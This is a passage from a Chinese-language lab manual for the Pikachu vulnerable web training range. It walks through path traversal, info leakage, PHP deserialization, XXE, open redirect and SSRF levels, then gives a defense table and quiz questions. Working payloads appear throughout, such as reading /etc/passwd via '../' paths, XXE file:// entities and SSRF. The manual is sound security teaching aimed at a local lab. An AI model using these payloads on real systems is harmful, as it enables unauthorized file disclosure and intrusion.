?title=../../../../etc/passwd?title=..\..\..\..\windows\win.ini?title=../inc/config.inc.php 读数据库配置过关标准达成:任意文件内容显示。
../ 看列出的目录/ 与 \ 都试;确保拼接后的路径存在../(正确做法是根本不接收路径,只接收 id)。http://127.0.0.1/pikachu/vul/infoleak/原理白话:开发者把敏感信息(账号、隐藏路径)放在网页注释、备份文件等"以为没人看"的地方。
(HTML 注释长这样:<!-- 我是注释,页面上不显示 -->)
/vul/infoleak/abc.php → 页面显示隐藏的账号密码过关标准达成:拿到隐藏账号。学习要点:真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。
git clone 部署改为构建产物部署、统一敏感信息扫描(gitleaks 类工具)。http://127.0.0.1/pikachu/vul/unserilization/unser.php原理白话:序列化=把对象存成字符串,反序列化=把字符串变回对象。如果对象创建时(构造方法)会执行代码,而攻击者能控制序列化字符串,就能触发代码执行。
看源码:
class S {
var $test = "pikachu";
function __construct() {
echo $this->test; // 对象创建即输出
}
}
$s = unserialize($_GET['s']); // 直接反序列化用户输入
http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}O:1:"S" = 对象(Object),类名长度 1 的字符串 "S"1:{...} = 1 个属性s:4:"test" = 字符串(string),长度 4,内容是 "test"(属性名)s:29:"<script>..." = 字符串,长度 29,内容是属性值__construct 被触发 → 输出我们伪造的 test → XSS 弹窗过关标准达成:弹窗。学习要点:长度必须数对,差一个字符就失败——体会"构造 payload 要严谨"。深入一步:真实世界的反序列化 RCE 靠"魔术方法链"(gadget chain),入门阶段了解即可,进阶可深入研究。
s:29 里的 29 必须等于引号内字符串的实际字符数(<script>alert('xss')</script> 正好 29 个字符)。逐字符数一遍http://127.0.0.1/pikachu/vul/xxe/xxe_1.php原理白话:应用解析用户提交的 XML 时,如果允许"外部实体",攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL,XML 解析器会乖乖去读取并回显。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
(解释:<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体,指向系统文件;<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来)
/etc/passwd 内容(macOS)SYSTEM "file:///c:/windows/win.ini"file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php(按实际路径)过关标准达成:任意本地文件被读出。
file:///C:/Windows/win.ini(三个斜杠);Linux 用 /etc/passwdlibxml_disable_entity_loader(true),或用 JSON 替代 XML)。http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.phpurl 参数实现任意跳转原理白话:跳转接口信任用户传的目标地址,跳转到钓鱼站点时用户毫无防备(地址栏一开始是可信域名)。
?url= 参数控制(先正常点一次看流程)?url=https://www.baidu.com → 跳到百度(证明任意跳转成立)?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS过关标准达成:任意跳转成立。
javascript: 等协议。http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php127.0.0.1——注意,这是服务器自己访问自己(服务器和你同一台机器)。填靶场内网信息页,就能看到"只有内网才能看"的内容。原理白话:页面提供一个"URL 查看"工具,服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。
看源码:
$url = $_GET['url'];
echo curl_exec($ch); // curl 用户可控的 URL
http://127.0.0.1/pikachu/ → 正常回显(注意:这是服务器自己访问自己,体会"服务器替你发请求")http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息file:///etc/passwd 直接读本地文件(curl 支持 file 协议)过关标准达成:内网资源被"借"服务器之手访问。
http://127.0.0.1/pikachu 这种靶场自身地址http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents() 同样支持 URL 和 file 协议)。理解:危险的不是函数,而是"未校验的用户可控 URL"。原理白话:同上,只是读取函数换成 PHP 的 file_get_contents(),它同样支持 URL 和 file 协议。
?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显?file=file:///etc/passwd → 本地文件读取过关标准达成:内网访问成立。
file:///C:/Windows/win.ini,Linux 用 file:///etc/passwd每通一关,在 □ 里打钩。建议配合"过关标准"自查,全部打钩后你就是这套靶场的全通选手了。
暴力破解(4 关)
XSS(10 关)
CSRF(3 关)
SQL 注入(10 关)
RCE(2 关)
文件包含(2 关)
文件上传(3 关)
文件下载(1 关)
越权(2 关)
目录遍历(1 关)
敏感信息泄露(1 关)
PHP 反序列化(1 关)
XXE(1 关)
URL 跳转(1 关)
SSRF(2 关)
| 漏洞类型 | 一句话成因 | 一句话防御 |
|---|---|---|
| 暴力破解 | 无次数限制、验证码失效 | 失败锁定 + 服务端一次性验证码 + token |
| XSS | 用户输入进 HTML 未编码 | 输出按上下文编码(htmlspecialchars/JS转义/URL协议白名单) |
| CSRF | 浏览器自动带 Cookie + 无来源校验 | CSRF Token + SameSite + 关键操作二次确认 |
| SQL 注入 | 输入拼进 SQL 语句 | 参数化查询(一切注入的正解) |
| RCE | 输入拼进命令/eval | 白名单 + 禁危险函数 + 最小权限 |
| 文件包含 | 文件名参数可控 | 白名单 + 关闭 allow_url_include |
| 文件上传 | 校验可绕过、脚本可执行 | 服务端内容校验 + 上传目录禁执行 + 重命名 |
| 文件下载/目录遍历 | 路径参数可控 | id 映射 + 拒绝 ../ |
| 越权 | 只验登录不验归属/角色 | 对象级授权(用 session 身份取数)+ 接口级 RBAC |
| 信息泄露 | 注释/备份/报错藏敏感信息 | 上线前敏感扫描 + 统一错误页 |
| 反序列化 | 反序列化用户输入 | 不反序列化不可信输入 / 白名单类 |
| XXE | XML 外部实体未禁用 | 禁用 DTD/外部实体 |
| URL 跳转 | 跳转目标未校验 | 域名白名单 + 协议白名单 |
| SSRF | 服务器代发请求目标未校验 | URL 白名单 + 禁内网地址/危险协议 |
暴力破解
XSS
<script> 关键字防不住 XSS?举两个绕过例子。(要点:img onerror、svg onload、大小写等)htmlspecialchars 使用正确(ENT_QUOTES)但输出在 href 里,还有风险吗?(要点:javascript: 协议,需协议白名单)CSRF
SQL 注入
1' or '1'='1 中每个部分的作用?(要点:闭合、恒真、语法补全)RCE / 文件包含 / 文件上传
; & && | 分别是什么作用?(要点:顺序/后台/与/管道)越权 / 信息泄露
进阶漏洞
期末实操考核说明(供参考):随机抽 3 关独立通关(不允许看手册),提交通关报告(截图 + 原理 + 修复建议)。
127.0.0.1 和本机局域网靶场;不得把攻击流量发到互联网真实网站本手册全部 payload 均针对本地 Pikachu 靶场环境,仅用于学习练习。使用时请按实际部署路径/端口微调。
🎯 本模块打完?去「通关打卡表」打钩——进度存账号,换设备不丢。